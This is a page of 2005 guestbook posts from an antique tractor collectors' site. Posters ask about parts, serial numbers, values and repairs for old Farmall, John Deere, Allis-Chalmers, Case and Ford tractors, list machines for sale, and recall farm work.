R W Wallace wrote on Sunday, August 21, 2005 (PDT):I have a `49 Pony with PTO put on the rear of the transmission. Not sure if this was the ussual way it was done back then. The small (approx) 1 dia inch shaft that runs the PTO (in the rearend), striped the splins on the shaft. Need to know where I might get parts, if this was regular equipment. I very good at fabricating but the splined cuped ends are more than a challange to make. Thanks for any help or ideas.
profJJ wrote on Sunday, August 21, 2005 (PDT):I have a 1959 D-17 diesel, series one black bar that I want to sell. It runs pretty good, some blow bye. It looks rough, but all of the body parts are present and in good shape. Any idea what I should ask? Thanks, profJ
darrel briggs wrote on Sunday, August 21, 2005 (PDT):have vai with blue grey paint under case paint color . is a miltary color or a paint primer if this airforce color .where would put dacals
Dan wrote on Saturday, August 20, 2005 (PDT):Bob Trail, do you still have the JD 60 Orchard? Anyone know what a clean JD 1958 820 Black Dash is worth these days? Thanks in advance for your response.
Michael wrote on Friday, August 19, 2005 (PDT):Anyone out there in Oregon or Washington State that has either a sickle bar mower set up for a Farmall Cub, or a blade that fits under the tractor for grading. I'm currently in the market to purchase one, if one becomes available. Thanks, Mike.
Bubba gaylor wrote on Friday, August 19, 2005 (PDT):Just purchased a cub lo boy 184 and I am parting it out I bought it for the engine for my 154 and a few other parts. I am overhauling the engine from the 184 to install in my 154 and the engine for the 154 will be for sale also it still runs okay but smokes through the oil dip stick filler tube. These little tractors seem to stick the oil rings and cause it to vent through the filler tube. If any one is interested in some of the parts contact me and let me know what you have an interest in.
KELLY ONEAL wrote on Friday, August 19, 2005 (PDT):I HAVE AN AC D17 GREAT SHAPE. NEW 12 VOLT AUTONATOR, NEW BATTERY, NEW RADIATOR, 3POINT HITCH, HIGH LOW, POWER STERRING, NOT AN OIL BUNNER, 4 CYL GAS, NEW PAINT AND DECALS, WELL EVERY THING WORKS AS IT SHOULD. $3,500.00 580-928-5427 SAYRE, OKLAHOMA.
bob wrote on Friday, August 19, 2005 (PDT):Ican remember working for a neighbor who had a 1950 B. It wasn`t a pleasant experience. The constant popping of the engine was almost deafening. the B also seemed to be so light in the front end making it easy to rear up on the hind tires.
Ed Miller , Sr. wrote on Thursday, August 18, 2005 (PDT): My father farmed 160 acers of Ohio clay with one of these and I can remember like it was yesterday , sleeping in the fender well like place on the backside of the fender. It was slanted and made a good bed for a 6 year old boy!! Also remember when the seat got to hard, dad would set the wheels in the furrow with the 3 bottom plow in the ground and get off & walk along side it while it went down through the field plowing along. What great memorys!!
T. Rogers wrote on Wednesday, August 17, 2005 (PDT):I have a 1960 D17 (Gas) tractor, even after replacing plug and points will run good for a while but will start running rough again any suggestions? also i'm looking for a front end loader reasonable price and in north arkansas area. Thanks
IHFan wrote on Tuesday, August 16, 2005 (PDT):anyone know where I could get one? I like what i've heard of it, here and other places. Also, what would be the price? Thanks!
Jennifer Moore wrote on Tuesday, August 16, 2005 (PDT):I am looking for something to show where all the decals go on a 1940's LA Case tractor. Any help would be appreciated. Thanks Jennifer
daniel malnis wrote on Tuesday, August 16, 2005 (PDT):Good day, I communicate with you in order to begin a commercial relation and imformativa with regard to the buy and sale of tractors, engines and ancient machinery to steam. Together with this one him(her) emvio a few photographies of a tractor and a stock, of other units which emviare photos in close mails, dedes already a great greeting and in wait of contacting myself with you to know if he(she) wishes algun special order(request) or if it(he,she) can give an offer. stock; -Tractor Hungarian marks hscs, engine of a piston ignited with bowl of warming to start. - Tractor model case 18-32 with wheels of iron, stock three complete units. - Tractor model marks deering wd 40 diesel, with wheels of iron. -Tractor German complete motive OyK of two cylinders diesel. - Field marshall English gummed , with bowl of warming, I number of series 12715. -Wally wheel of iron. - Olimber mungel gummed model 21/23 four cylinders. - And other engines and antique tractors. - Boiler to steam English with piping bronze. - Engine marks swlter Austrian. Engine of a piston, take-off for air compression. - Tractor marks case L original wheels of iron. Attentivly Daniel malnis of Argentine
Sharon wrote on Tuesday, August 16, 2005 (PDT):Hi, I have many Original Massey Ferguson parts that have part numbers but they are either out of date or I can't find anything on them. I have massey harris bearings with part numbers, intake valves etc. Wondering if anyone would be interested in helping us identify what these parts fit? Which tractors etc.. If you would like to take the time I could email part numbers to anyone who responds... Thanks Sincerely Sharon;)
Sharon wrote on Tuesday, August 16, 2005 (PDT):Hi, I have many Original Massey Ferguson parts that have part numbers but they are either out of date or I can't find anything on them. I have massey harris bearings with part numbers, intake valves etc. Wondering if anyone would be interested in helping us identify what these parts fit? Which tractors etc.. If you would like to take the time I could email part numbers to anyone who responds... Thanks Sincerely Sharon;)
Fred Merklin wrote on Tuesday, August 16, 2005 (PDT):I have a 1947 DI with a Lull Loader. Seems like a lot were equiped this way. Good running tractor but noisy. Needs an exhaust manifold. Gas engine not multifuel. Anyone know of a reasonably priced source. Thanks
Bronson wrote on Monday, August 15, 2005 (PDT):Is anybody on board familiar with a John Deere L.A. model than can answer My exhaust question?. My son brought me one last week and it has no exhaust stack or muffler on it. I am trying to figure out how the muffler or a straight pipe attaches to the manifold. It dont have threads like the Cubs. It is just a smooth I.D. in the 90° elbow that it would fit in/attach to. I just chipped out (cleaned) the I.D. of the elbow of what was a layer of carbon or possibly an epoxy that held a pipe or muffler. Thanks B.J.
Rick J from Oklahoma wrote on Sunday, August 14, 2005 (PDT):I am looking for information on a Seaman Pulvi Mixer tractor. I would like to find a manual, parts distributor, and to find anything about attachments available. I would like to find out how to get the year of the tractor, is it possible to tell by the serial numbers?
JOHN EMMERT wrote on Sunday, August 14, 2005 (PDT):We took our S99 to be restored last week,the only thing wrong w/ it is a ninor dent on the right fender,the mechanic is fixing any and all ecectrical wireing it might need,we are looking forward to taking it to the local tractor pulls,I farmed w/ it for about 20 years ,thats why my hearing is so bad.We will enclose pictures of it when its complete.
Dick Welty wrote on Saturday, August 13, 2005 (PDT):I receintly acquired a 1941 9N Ford tractor. It has been recently rebuilt and runs and works well, however the brake adjuster screws and the brake adjuster wedges are missing on both sides. Does anyone have these parts? If so please contact me at (760) 458-9936 I live in Southern California. My e-mail address is daw4224 at yahoo.com
C.P.F. wrote on Friday, August 12, 2005 (PDT):I am looking at a Ford 1910 Tractor. It very weathered, and has 97.8 hours on it. 6,500$ for the tractor with a canopy top. This is my 1st tractor. It will be used to Bush hog my pasture, (10 acres) and maybe to scrape my 75 foot gravel drive way. The owner's dad goes to my church. He claims that his som is getting rid of it because he ot a new tractor with an air conditioned cab. I believe they have owned the tractor since 1987. Is this a work tractor or an antique show tractor?
Hank Smith wrote on Friday, August 12, 2005 (PDT):I bought a Super 99GM at an auction in N. Dak. 2 years ago. It has since been restored and is a super tractor. I need some information regarding it. I have only 4 gears, but realize there are probably 8. I also have 36" tires instead of the 24" I read about. I am not on the internet at home for a couple of weeks yet, so please call me at (480)488-1850, I'll call you back so that it does not cost you money. I would also like to know if anybody knows any information about this tractor. It sat in a barn since 1977 until the auction in Aug. 2003. Thanks!
paul yale wrote on Thursday, August 11, 2005 (PDT):I bought a 1929 GP model in great condition. It was restored in the early 80s, and has been sitting in a museum in central Maine until now. Anybody know how I could get a reprint owners manual for this tractor? I would like to get it running and maybe power an old cordwood saw that I have. thanks, any info would be helpful.
Mark S. wrote on Wednesday, August 10, 2005 (PDT):I have a International B-414, I would like to get the tach working but it is missing a piece in the gear drive on the distributor shaft. Do you know where I could find parts for this?Thanks
Gary Schwieger wrote on Wednesday, August 10, 2005 (PDT):My question is ? Just purchased a Ford Tractor not sure of the year but would like some in put on it if possible. Serial 8N-50213 or 502I3 Please help me!
Dave Doane wrote on Tuesday, August 09, 2005 (PDT):I just purchased a GP Massey Harris 4 wd, I don't know much about it and would appreciate any information on these old tractors. I need pictures and parts, any information would be appreciated.
Donald L. Sluder wrote on Tuesday, August 09, 2005 (PDT):WHERE WOULD ONE FIND THE SERIAL NUMBER FOR A 1913 CASE TRACTOR.THE TRACTOR WAS PURCHASED BY THE PAULSONS IN 1913 FOR THERE FARM AT RICHFIELD, IDAHO.TRACTOR HAS A BRONZE PLATE THAT SAYS "ENG. 1975 NO.", 40 HP. THE ENGINE IS TWO CYLINDERS OPPOSING EACH OTHER.
miles harshbarger wrote on Monday, August 08, 2005 (PDT):Needing sleeves and pistons for a massey harris 33 with a continental motor. Any information would be greatly appreciated.
Terry Umbenhour wrote on Monday, August 08, 2005 (PDT):Ive recently purchased my first tractor a 1954 case sc and im finding it difficult to find parts for. Im looking for the oil bath air filter bowl and baffle and a set of fenders. Any suggestions on where I might find parts would be greatly appriciated thanks.
Bryan wrote on Monday, August 08, 2005 (PDT): I restored a mid 20's farmall regular,and a good resouce for gaskets, and paint, and decals is www.thefordsonhouse.com They also have parts for f-12,f-20,and early fordson tractors.
Ernie Wolf wrote on Monday, August 08, 2005 (PDT):This is to Scott Mapes. I have a M.H. Pony Tractor with some implements.Such as plow,blade, sickle bar mower, disc. It also has Hyd. let me know if this is something you are looking for .Thank You!
Dwayne Oliver wrote on Monday, August 08, 2005 (PDT):I have baught my case sc tractor,it is an 1954 modal i just recently plased an above ad above on what i thaught i was getting,but made an misstake on the year modal. Its an case sc 1954 if anyone has any info or suggestions etc. or if i can help please e mail me thanks.
Doug L. wrote on Sunday, August 07, 2005 (PDT):I have a 1959 Fordson Major Diesel and am looking for a complete set of rear brakes. Does anyone have any leads?
Bruce Kintigh wrote on Saturday, August 06, 2005 (PDT):I bought a 1952 Case SC at auction today that looks ready to go. After reading through the listing on this page I have seen several people ask about a front loader, but I have not seen any responses. Does anyone know of a loader that would fit this tractor? Thank you.
Rich wrote on Friday, August 05, 2005 (PDT):In regards to the above request for HG42 sheet metal, if you can help me... please call 530 226-8411 Many thanx.... rich
Rich wrote on Friday, August 05, 2005 (PDT):Just bought what I am guessing is a 1951 HG42 SN # 57GA080. I will be in need of nearly all the sheet metal for the engine cover and radiator grille and cowling. Mine has a hydraulic blade installed on front and a very heavy winch (1/2" cable) on the back. Looking forward to restoring it and showing it, and Yeah, perhaps using it a bit.
Terry Lorenz wrote on Friday, August 05, 2005 (PDT):Had a 901 Selecto high profile with the California wide front end full adjust in out for 22 inch or wider rows, had to rebuild the engine. Did a complete rebuild from crank and bearings new on up. Parts for motor still on market for the 134 cube motor. SOS tranny worked fine on this one, the gas tank was rusted and crapped out so we bought a reconditioned tank that had a liner blown into it and it was as good as a new tank. This one was red and grey but had gold paint on base almost like primer. It also had a Golden Jubilee emblem in the front of the hood. I heard that was 1953 the anniversary for Ford tractor 50 years out. Great tractor to mow,rake,bale,bushhog,cultivate,ditch,it worked nice with the almost automatic tranny and watched the neighbors getting gears and jamming clutches in shift combat. Traded it in last year restored for a 1997 6200 JD with cab and modern features, it was time for us to move out of the 1950,era. Ron's Equipment in Ft. Collins Colorado has parts for all Fords and knows the ropes on them. Good shop for R&R or restorations too. I really liked the slide out PTO lever on the right side of console/dash smooth in and out no clutching!!!!!!!!!!
R. White wrote on Thursday, August 04, 2005 (PDT):Hello All, I currently have a 57 or 58 Allis Chalmers D17 6-cylinder diesel for sale. I've owned it for a year. It's strong running and more than I need to handle grass task around the house. This tractor is for sale. I'm asking $2,850.00 dollars (obo)!!!! RWW Fairfax, Va. (must sell)..... Thanks ....
Joey Anzalone wrote on Wednesday, August 03, 2005 (PDT):I recently purchased what I believe is a Hi-Clear Super AV. There doesn't appear to be a model & serial number plate anywhere. Any igeas to ID the tractor. Also there is no dipstick to check oil. Where do I check oil. Thanks
northside salvage wrote on Tuesday, August 02, 2005 (PDT):if anyone is still looking for a d21 we have 2. you can contract that we restore. if interested contact denny,todd or niel at 618-282-2455 from 8-5 monday thru friday
northside salvage wrote on Tuesday, August 02, 2005 (PDT):the 1969 220 was not a landhandlers 1970 and newer had the landhandler decals!!!!!!!!!!!!!!!!!!!!!!!! We have two 220 both 69 waiting for someone to tell us they want it restored. we have 2 d21 one seriesI and one series II waiting for someone that wants them restored. also very many other a.c. tractors contact us for any restoration parts on 220,210 d21 &190
Raymond Grogg wrote on Tuesday, August 02, 2005 (PDT):I am looking for a head gasket for a 22-36 McCormick Deering. Any idea where I can find one.
Robert Grogg wrote on Tuesday, August 02, 2005 (PDT):I,m liking for farmall b! would u like to sale it?
robert wrote on Tuesday, August 02, 2005 (PDT):Do u went to sale it?
Lee Thomas wrote on Tuesday, August 02, 2005 (PDT):I am in the process of restoring a 49D leader I am in need of a right head light and bracket and a wiring diagram if anyone knows where i can get please advise Thanks
man man wrote on Monday, August 01, 2005 (PDT):550 is a good tractor
Gary Hann wrote on Monday, August 01, 2005 (PDT):Have 1953 VAC 14 Need some parts to restore.
ivan brown wrote on Sunday, July 31, 2005 (PDT):hey i was wondering what does a TD 40 weigh complete? anyone know pls email me back thanks.
Roger Grant wrote on Sunday, July 31, 2005 (PDT):Looking for an AC 710 3 speed operating manuel. RG
scott mapes wrote on Sunday, July 31, 2005 (PDT):Igrew up on a massey pony my grandfather had one that was the first tractor i ever drove i spent countless hours on it mowing hay or plowing. is there an association of pony owners if there is then how do i get in contact with someone .maybe one of these days iwould like to own one.
COLIN RADFORD wrote on Friday, July 29, 2005 (PDT):I am looking for a pair of tracks to fit an 8N ford tractor. please e-mail me if you have any,state price and location. thanks
John Varner wrote on Friday, July 29, 2005 (PDT): I have a 541 Offset Workmaster Diesel in good shape but I can not find out how much it is worth. Does any one know what the value of it is?
Sally widmer wrote on Friday, July 29, 2005 (PDT):AC 160 for sale. Working vineyard tractor. Diesel. BO
travis schmidt wrote on Wednesday, July 27, 2005 (PDT):hey i have a question does anyone know how much it would cost to have a AC 185 motor rebuild the crank did not go through the block. and the motor is not locked up either. but the nock is realy bad. so if any one would have a clue what it would cost email me.
george wrote on Wednesday, July 27, 2005 (PDT): we had a 66 until about 1984. would like to get another one to restore. send mail if you have one for sale. i am in western penna.
Dave (NE) wrote on Wednesday, July 27, 2005 (PDT):I have gotten the right tie rod end from the dealer. Took a couple of times to order it to get the correct one, but they still had it, and it was expensive - approx $100. I have heard, and seen from other forums, that the left one is not available anywhere. Those that needed it have had to build them. Dave
Bob E wrote on Wednesday, July 27, 2005 (PDT):I have a 770 oliver tractor that I need a good sound radiator for it use it around the fram and what a excellent tractor it has been and still is. I have had no luck finding a good orginial radiator. Any recommendations where a person might find one?
chris wrote on Tuesday, July 26, 2005 (PDT):my father in law just passed away and i inhairited the farmall b culti-virson and i nead to know how to check the oil plese help me.
Justin Clontz wrote on Tuesday, July 26, 2005 (PDT):My name is justin clontz and i am 8 years old and i loike tractors!
Justin Clontz wrote on Tuesday, July 26, 2005 (PDT):My name is justin clontz and i am 8 years old and i loike tractors!
JOHN L. TABACSKO wrote on Monday, July 25, 2005 (PDT):Where can I find an Oliver Super 55 model tractor, preferably a 1955 to 1957 model years? Do they all have the six speed transmission? The one that I used to drive on our farm when I was a kid had a six speed transmission.
GAVIN FAUGHT wrote on Monday, July 25, 2005 (PDT):I am 12 years old and recently saved up enough money to buy myself a 1952 W4. Ilove my tractor, I intend on fixing it up to put into tractor shows and parades. I am from Ontario, Canada. Does anyone know where I can get parts in Canada? Thanks.
Zachary Barham wrote on Monday, July 25, 2005 (PDT):HI,im Zach Barham . Im 11 years old . My unceles brother is a farmer . He is very close to me . I help farm. He gave me a D15 . MAN/did you see my age . He has me runing farm tractors .Ilove allis challmers . I hope to bea farmer some day . But until then i say , thank you for all your hard work American ,and over see farmers , and i hope to join you some day .
elwood largey wrote on Monday, July 25, 2005 (PDT):i have a very nice shape set of black hawk half tracks for the wd or wd 45. they are off a wd 45. all mounting brackets and bolts. no welded or cobbed parts. been stored since 1975. i am asking $1200 but i am open to offers.
Todd Winter wrote on Sunday, July 24, 2005 (PDT):I have inherited a JD 2010 from my recently deceased father who bought it a few years ago. This tractor does have a loader that worked well until it blew a seal. It was driven and parked behind the barn 2 years ago to wait for help. Well here I am, and I tried to pull it out today with a larger tractor and found that the right rear wheel is locked up whether you hold the clutch down or shift it through the gears. The left rear wheel rotates fine. Is this a stuck or frozen transmission or could it be the brakes may have froze up on the right side? We tried to pull it forward and backward to try to break the wheel loose with no results except a lot of torn up sod. This tractor needs my help and I need yours. Please help if you have any info or ideas. The serial number of the engine tag is 2010RU14398 if that helps.....
J Linneman wrote on Saturday, July 23, 2005 (PDT): I have a 1951 B with rollomatic that I have restored now. I sure miss farm life from long ago. When I was a yougin on a Wisconsin dairy farm Dad had 1950 B. That tractor had to do all the work for years. I spent countless hours driving that sweethart cultivating, cutting hay, plowing,disking and combining with a John Deere 12A with LUC engine. That tcactor sure proved then atage that Nothing Runs like a Deere. When I have a bad day I go home and hug my Deere FIRST.
Jerry Begin Jr. wrote on Saturday, July 23, 2005 (PDT):I have a Farmall BN for sale--10 years ago spent $1600 rebuilding and 8 years ago another 800 (paint ect)runs great--was using for mowing 3 year ago--Belongs to mother in law--she's 91--wants to sell tractor to good home__did i say she was 91??--
John Schmitt wrote on Saturday, July 23, 2005 (PDT):Iwould like to sell or trade my 2010 for 3020 deisel tractor. Just did complete rebuild on trans new exhaust,rear seal and brakes. I've owned it for 15 years. Motor was overhauled 2years ago.
deborah k rogness wrote on Thursday, July 21, 2005 (PDT):I am doing a book about my greatgrandfather (william edwin mckinnon) and he was one of the few "bellingham bay settlers" and he opened a wagonmaking shop(later had john kastner become a blacksmith) on railroad ave. i am hopeing i can track down one of his wagons for the book and lecture.he was in the history of whatcom county (roth books 1&2) he was the first and the last to make these wagons before the car came into the picture. you can contact me at (360)5279858 or email me at sangelstargazer at msn.com my address if you need it is 3705 canterbury ln. #7 bellingham,wa. i really look forward to your reply. i plan on putting an add if i can not find any off his wagons in the local farming community or collector paper. thank you
Dwayne Oliver wrote on Thursday, July 21, 2005 (PDT):I am about to buy first case tractor 1941 modal,how can i obtain the history of the tractor,and the year and co. history when they made this tractor by using the serial number.thanks dwayne in Ky.
Arnold E wrote on Wednesday, July 20, 2005 (PDT):Just bought a small spead and was looking at a F140 1957 model red and it has a fast hitch 1 point with a added anti sway bar it comes with a back blade, cultivators,brush hog 48inch and bucket. Everything works including the lights the tires are not new but all look good. The engine starts right up and sounds great the paint is fair and the sheet metal is also fair. My problem is I don't have a clue what it would be worth anyone have a thought. I want it to help getting the the pasture back in shape and clear out some over growth. I think it's a 28 HP Help is needed in making the offer.
Dave Conley wrote on Wednesday, July 20, 2005 (PDT):FOR SALE; 1946 Farmall Cub, 1 cylinder, sickle, bottom mower, original owner's manual. This tractor was used in the vineyards in the Finger Lakes area of New York. Email for more details.
Roger A Burns wrote on Wednesday, July 20, 2005 (PDT): looking for a Sheppard 3D diesel tractor in good condition and price
Kim King wrote on Wednesday, July 20, 2005 (PDT):I have a 1952 Farmall Super C tractor and would like to have a ball park fiqure on how much the tractor is worth. It is not restored. I was considering on selling it and didn't want to get ripped off. Thanks
gil cox wrote on Tuesday, July 19, 2005 (PDT):i have a 671 select o speed and i need a wireing diagram
george wrote on Monday, July 18, 2005 (PDT):patt, after nov.1 1936 they are red, so you could have red or grey as in all series of these tractors w-12,w-14,w-30,wk-40,wd-40 as well as the 10-20,my 1938 10-20 is in original red and original rear rubber,a nice tractor.i have a 1935 grey w-30 and a 1936 red one. my 1936 w-12 is red my 1936 wk-40 is grey, so that shows you can have both red and grey in 1936.i also have a good supply of spare parts for these gems. e mail me, hnatiuk57 2
dave glenn wrote on Sunday, July 17, 2005 (PDT):I have a1947 olivia ddozer that starts fine but wont move does anyone have a picture? or how to replace cluth someone please help thank you
judy wrote on Sunday, July 17, 2005 (PDT):My neighbor has acquired a Leader Tractor. It appears that the gear shift is jammed. He isn't sure if neutral is left to right or forward and backward. When he starts it if he doesn't have the clutch in the tractor takes off. Any suggestions on unjamming the gearshif? Which way should the gearshift go to be in neutral? Thanks
judy wrote on Sunday, July 17, 2005 (PDT):My neighbor has acquired a Leader Tractor. It appears that the gear shift is jammed. He isn't sure if neutral is left to right or forward and backward. When he starts it if he doesn't have the clutch in the tractor takes off. Any suggestions on unjamming the gearshif? Which way should the gearshift go to be in neutral? Thanks
Bob Steere wrote on Sunday, July 17, 2005 (PDT):I have a W4 and I would like to know how to tell the horespower and year of my tractor. Can anyone help me with this?
Big Joe wrote on Sunday, July 17, 2005 (PDT):I have to say that this is a good meesage board for talking about tractors and equipment, etc. Anyways, I was wondering if anyone could help me out. i need to know if there is a website where i can look up serial numbers for tractors and booster pumps. If so, please let me know. I would greatly appreciate it. Thank you.
CHARLIE wrote on Saturday, July 16, 2005 (PDT): I HAVE SEVERAL ALLIS CHALMERS WC FOR SALE RANGING FROM $800.00-$1200.00 THE YEARS ARE 1935-1938. THEY ALL HAVE BELT PULLEYS AND 1 EVEN HAS A BELT DRIVEN MANURE LOADER ON IT. I AM LOCATED IN NORTHWEST MISSOURI
Red wrote on Saturday, July 16, 2005 (PDT):I am looking for a Massey Harris Pony hood and sheet metal side panels. If anyone can help me locate them, I would greatly appreciate the information.
lateleee wrote on Saturday, July 16, 2005 (PDT):anyone know the weight of a 1937 allis chalmer M model tractor?
Jacque (TX) wrote on Friday, July 15, 2005 (PDT):Looking for both outer tie rod ends for AC 160 or suitable subs. I inherited it and would like to make it safe to drive.
Jim Broughton wrote on Friday, July 15, 2005 (PDT):Michael; Your Cub is 60CID, 10.5 horsepower, and if it has the original valves and rings, then a lead additive would be recommended. Hope this helps. Jim
Kathi wrote on Friday, July 15, 2005 (PDT):We just purchased a VAO, 1948. We are looking for the model number for this particular type of tractor. Can anyone help us? Is this tractor a collector's item? It is in excellent running condition and we're looking to fix it up.
Julie wrote on Friday, July 15, 2005 (PDT):I have a 1954 international 300 utility tractor i want to sell. Its been sitting for 3 years,It started right up today and runs real good. It has alot of rust and needs a 'O' ring for the hydrolic pump as it leeks, it has weather damaged tyres and a home made red iron box blade. What i would like to know is how much can i sell it for. thanks for any help.
WJ Hargrove Jr wrote on Wednesday, July 13, 2005 (PDT):I Just purchased a Leader tractor It was being stored in an old shed that was close to falling down here in North Carolina.If anyone could help me find a manuel or any information that would be great.Its a model 49D
WJ Hargrove Jr wrote on Wednesday, July 13, 2005 (PDT):I Just purchased a Leader tractor It was being stored in an old shed that was close to falling down here in North Carolina.If anyone could help me find a manuel or any information that would be great.Its a model 49D
Grandon E Tolstedt wrote on Wednesday, July 13, 2005 (PDT):I drove this tractor in the mid 1930s. As I recall it was purchased in 1929 and was a 20-35. I plowed with a four bottom plow and in thr spring when it was cold I would put the right front wheel in the plow furrow and then walk to the end of the field to keep warm. Then I would get on the tractor,turn it around and get off and walk again. At least 10 miles in the morning and again in the afternoon.This was training for my later time in the United States Army Infantry. My family owned this tractor until 1940. farming in north central SD.
Leroy Nemitz wrote on Wednesday, July 13, 2005 (PDT):I would like to know what years these tractors were made if possible. Ser.# 5413999 D wide wheel,528311 DC, 325635 DC, 605619 SC,528325 DC wide wheel. E-mail with info. please.THANK YOU Is there a book with serial Numbers around.
Tonia Knighten wrote on Tuesday, July 12, 2005 (PDT):I have recently came across an old Oliver Parts Book for the 550 series tractors that is dated 6-1-59 does anyone know how or where I can find out what it is worth? Please email or call. Email address is tonia.thein at mchsi.com or 641-330-9466. Thanks.
Dave wrote on Tuesday, July 12, 2005 (PDT):Hey Lloyd, Have you tried the Tractor Supply Company
Rick Green wrote on Monday, July 11, 2005 (PDT):i have allis chalmers backhoe about 1962 are something about there if anyone know something about them i would be greatful thank i also looking for part too Rick
Marty wrote on Monday, July 11, 2005 (PDT):My father farmed 100+ acres in upstate New York while I was growing up. He sold the farm in appx 1976 but kept 2 tractors for use in gardening, logging and towing. One of those tractors was the Cockshutt 50 deluxe. His was painted completely white. That tractor could pull a heavy load, and was quite fast. Thanks for the memories!
Coy Tite wrote on Sunday, July 10, 2005 (PDT):Hi, I have a 1952 Case SC and I need a oil filter cap,I changed my filter in my tractor and when i put it back on oil keep's coming out from the bolt, I looked under the lid and the main gasket is cracked and it won't seal right.If you know where I can get a new cap please e-mail back. Thank's Coy
Frank Matthie wrote on Sunday, July 10, 2005 (PDT):I am looking for Braden Winch for my 420 Crawler and also I am looking for rear sprockets. Please call or Email me I have 6 of these 420 Crawlers. my home number 315-262-1244
Paul Harshberger wrote on Saturday, July 09, 2005 (PDT):Have an R. Use it often for fun/work. pull sheep's foot packer, spring tooth harrow, anything. Cant hardly stall them, super puller,loads of fun & noise. Would love to find one with good sheet metal, mostly the nose , bad motor/trans for parts. Would like to give mine a complete paint job and a place of honor in the shed!!!!
mr. red wrote on Saturday, July 09, 2005 (PDT):i'm sorry but you green guys are on the wrong website if you are here. the red is the only way to operate.to each his own . my 806 out pulled a 5020 last summer. all them colors can try to pull but they don't come close to RED. if you are a damn green fan go to the damn green sight www.gonowherecuzyouareongreen.crap
Eric wrote on Saturday, July 09, 2005 (PDT):family farm used to run several, 9's,10's,1466 models white stripes, and black stripes, cabs, open, rops(2 and 4 post)...1066 turbo open station was always the meanest, seemed to out pull the 14,s all the time, hands down. Still have that one (1973 model) restored front to back, top to bottom 2 years ago turning around 150-160 hp, would do a lot more but enjoy her to much to destroy. Red makes others GREEN with envy. Remember RED POWER FOREVER AND EVER...even if the name Case is in it!!!! GOD BLESS AMERICA
Amiram Rabinovitch wrote on Saturday, July 09, 2005 (PDT):we are colletors of old tractors in Israel we have 1929 mccormick-deering 22-36, we are looking for carburetur. our web site ; tractor.org.il
Eric wrote on Friday, July 08, 2005 (PDT):RED POWER FOREVER
Nicholas wrote on Thursday, July 07, 2005 (PDT):I Have a 29 mccormick-deering 22-36, And I ame looking for two rear tires size 32-14,If thay hold air I will buy. Please help me.
Nicholas wrote on Thursday, July 07, 2005 (PDT):I Have a 29 mccormick-deering 22-36, And I ame looking for two rear tires size 32-14,If thay hold air I will buy. Please help me.
travis schmidt wrote on Wednesday, July 06, 2005 (PDT):at the place i work at all we have is oliver tractors we must have at leaste 20 or 25 and a couple of old cases
Jerald Thiessen wrote on Wednesday, July 06, 2005 (PDT):My dad had 2 John Deere Model R's and in spring and fall when we had a lot of work to do , he would take the front axle off the one tractor. He would then attach a frame that attached to the back of that tractor as well as the front where the axle had been and it carried forward to be hitched to the rear end of the front tractor(other Model r). He ran extensions to the clutch trottle and hydraulic levels that you could reach back and use from the front tractor. You would then drive both tractors and could pull 24 feet of rod weeder, 24 feet of press drills and packers with one pass. The tricky part was to never go where you needed to back the unit up and to always slow down the trottle on the back tractor or you would jack knife going around a corner. I remember standing up and driving this unit as a 13 year boy. Several years later Dad Bought 5020 and it could not pull the same equipment so we only had it for a couple of days and Dad got his R's back. Spent many lomg hours on those old John Deeres.
Phil bender wrote on Tuesday, July 05, 2005 (PDT):My Grandfather George Osterhaus of Plainfield Wisconsin bought a new Ford 8N and it reportedly was the second purchased in the state of Wisconsin. The first purchased (as family history goes) reportedly was awarded a trip to Hawaii. Does anyone have knowledge that this actually happened? Must have been 1947? Phil
Rick Bair wrote on Tuesday, July 05, 2005 (PDT):Just purchased a property and have an AC 160 w/ bushhog that came with it. Runs, but need new muffler. It has sat for the last 3 years. Got it running. Wandering if anyone would know the value and have an interest in buying. Located in Huntingdon County, PA
John Carter wrote on Tuesday, July 05, 2005 (PDT):Hi all; I'm in the same boat as larry- I need to get that hood off to get to the points so this baby will fire up! It's a '49 8N and the points haven't been replaced in about 15 years since my grandfather died, and it hasn't run in probably 10 years now. I rebuilt the carburetor and did the rest of the tune up and replaced the battery, and it cranks and it sputters, but won't run. Did remove and clean and refill the fuel tank before I tried (of course- why rebuild a carb then ruin it again?) Points are about all I can think of at this point, and I have a set, but I can't get the hood to tilt- do I have to remove it, or is it stuck?
Clay Zinn wrote on Monday, July 04, 2005 (PDT):!!!!!URGENT!!!!! Other than Lavender and Red, What other color was the B painted?
Steve Symynyshen wrote on Monday, July 04, 2005 (PDT):I own a 1941 MH 81, originally green and gray from the Royal Canadian Air force, Unit #100D5-C41. Will be putting it up for sale, runs excellent, all it needs is a front rim, 15 inch.
wendell wrote on Monday, July 04, 2005 (PDT):I have a BF Avery tractor. Does anybody know where I can find a manifold for a Hercules 1X3A motor also steering box for wide front end been looking for 10 yrs, can anyone help
John Ehlers wrote on Monday, July 04, 2005 (PDT):My father farmed north of Corpus Christi, TX growing row crops, mainly cotton and milo. In 1949 or 50 as I recall he bought a new MM, what I remember to be a ZAE. As was stated earlier by several others, the steering shaft was not nearly so inclined as the one in the picture. It was on the left side. The Z had a hand clutch, brake pedals behind the rear axle housing on the left, and a seat that would swing side to side. The muffler was under the hood on the left with the exhaust pipe passing through the hood on that side, projecting vertically about 18". I remember the brakes because I could stand up on either or both of them. When running a four row cultivator, I would swing the seat to the left and stare at the row passing under me all day long for fear I might plow out some cotton. If you snapped the cluth in with a rear tool bar of equipment, the front wheels came off the ground. In the winter, we would "lift the beds" with a five row plow that covered up the winter weeds. The soil actually was a little light on the south end so I could run one gear higher which I think was 4th. A seven year drouth started in 1951 and the ground was extremely hard in August when it was time to plow out cotton stalks. We tightened the sweeps with a 24" Crescent to prevent then from tripping. The Z kept on pulling and would finally break the U bolts that attached the plow beam to the tool bar. The only problem I remember was burned valves which may have been related to excessive load. My dad changed the tires from 11-38's to 12-38's and the speed picked up noticably without any noticable loss of power as I recall for what we did. As I recall, we could plow out about 40 acres of cotton stalks in a day. Bid deal,huh? We thought is was.
Richard ST John wrote on Monday, July 04, 2005 (PDT):I have a fordson major diesel. #1280899, can any one tell me the yr and mod. #?
chris gaston wrote on Monday, July 04, 2005 (PDT):I just purchased a case tractor it looks to be an sc with serial # sc 8038284 but this # doent seem to mach up with the list of #s the last of which starts with 6000003 can anyone help whth this please? chris laura oh
Rick wrote on Monday, July 04, 2005 (PDT):New kid on the block. How do i adjust the brakes on a 801? Any help will be appreciated. A friend said their is a site where you can download ford repair info, anyone about it? Tks, Rick to
Robert wrote on Sunday, July 03, 2005 (PDT):My friend and I recently co-purchased a Model H which looks pretty much like the one in the photo. It has approximately 20 hrs. on a rebuilt motor. The tractor runs like a champ and neither of us would trade it for anything.
